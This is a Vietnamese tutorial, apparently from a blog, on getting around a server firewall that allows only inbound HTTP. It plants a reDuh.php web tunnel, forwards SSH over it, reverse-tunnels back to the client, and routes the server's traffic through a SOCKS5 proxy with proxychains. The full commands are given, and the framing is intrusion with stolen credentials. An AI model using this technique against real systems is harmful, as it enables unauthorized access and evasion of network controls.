Đột nhập vào Server chặn internet outbound
Đã bao giờ các bạn gặp phải tình huống Server cấm tất cả các kết nối ra bên ngoài Internet, chỉ cho phép Internet từ bên ngoài vào trong server thông qua Port public HTTP (80). Title của mình chỉ là để giật tit thôi chứ muốn đột nhập vào server thì ít nhất các bạn cũng phải chôm chỉa ở đâu đó được ...
Đã bao giờ các bạn gặp phải tình huống Server cấm tất cả các kết nối ra bên ngoài Internet, chỉ cho phép Internet từ bên ngoài vào trong server thông qua Port public HTTP (80). Title của mình chỉ là để giật tit thôi chứ muốn đột nhập vào server thì ít nhất các bạn cũng phải chôm chỉa ở đâu đó được tài khoản SSh. *_^
Như các bạn đã thấy một số công ty lớn hay tập đoàn lớn Data Center của họ bảo mật rất kinh khủng. Và tình huống trên sẽ gặp rất nhiều ở đây. Server chỉ public duy nhất 1 Port 80 của webserver, Firewall chặn các giao thức như ICMP, DNS OutBound Vậy làm thế nào các bạn có thể SSh được vào server ấy để remote và connect đến các dịch vụ khác ở bên ngoài.
Ý tưởng như sau: Rõ ràng để SSh được vào Server đấy chúng ta phải tìm được cách liên kết giữa Client và Server. Khi đã đột nhập được vào trong Server muốn kéo các package từ bên ngoài hoặc connect tới các dịch vụ khác thì lại phải tìm cách để Server ấy có internet outbound.
Tìm liên kết SSh
Để tạo ra được liên kết giữa Client và Server mình sẽ tạo ra 1 đường hầm Tunnel TCP bằng cách sử dụng reduh.
Mình sẽ cải trang để chui vào DataCenter cắm USB và chép file reDuh.php lên đó (trong 5s). Sau đó thì nhanh chân tẩu thoát không ăn đòn thì ốm. Rồi vậy là về nhà xử lý tiếp thôi. Trên máy Client các bạn thực hiện 1 số lệnh sau
$ sudo java -jar reDuhClient.jar http://xxx/reDuh.php $ nc localhost 1010
[createTunnel]2222:127.0.0.1:22 Successfully bound locally to port 2222. Awaiting connections.
Ổn rồi. Trên máy client của các bạn sẽ mở 1 port 2222, Port này sẽ thông với port 22 trên server và địa chỉ 127.0.0.1 sẽ là IP Loopback của Server.
Vậy là xong đường hầm tunnel tới server
Khi đã có liên kết tới Server mình sẽ sử dụng kỹ thuật Back Connect để Server SSH ngược lại máy Client thông qua đường hầm tunnel. Vậy rõ ràng máy client phải cài đặt dịch vụ SSHD rồi
$ sudo apt-get install openssh-server
Tiếp tục thực hiện thao tác
$ ssh root@localhost -p 2222 -R 3456:127.0.0.1:22
ssh root@localhost -p 2222: SSH tới Server thông qua turning.
-R 3456:127.0.0.1:22: Mở 1 Port 3456 trên Server port này thông với port 22 của dịch vụ sshd phía client
Nghĩa là Server đang ssh tới Client thông qua Port 3456 qua tunnel.
Ok Bây giờ tiếp tục để Server có internet
Khi đã liên kết được Server tới client tiếp tục sử dụng internet của chính máy client cho Server. Điều cần làm ở đây là hướng mọi traffic internet ra 1 sock Proxy.
Đứng ở phía Server các bạn SSH ngược lại máy client và tạo luôn 1 port sock5 Proxy
$ ssh client@localhost -p3456 -NfD 9050
nestat -antp | grep LISTEN check port 9050 opened
Để mọi internet qua sock5 Proxy các bạn sử dụng 1 công cụ có tên là proxychains. Nó cho phép chuyển mọi kết nối TCP tới port 9050 mặc định của proxychains. (Nhớ đột nhập Server lần 2 để cài đặt proxychains lên server nhé. Cẩn thận bị ăn đòn mình ko chịu trách nhiệm đâu nhé)
Như vậy mỗi lần cần sử dụng internet trên Server các bạn nhớ kèm theo câu lệnh proxychains .... Server sẽ sử dụng internet của chính client trên máy các bạn
proxychains yum update
Hi vọng các bạn không sử dụng nó cho mục đích xấu *_^.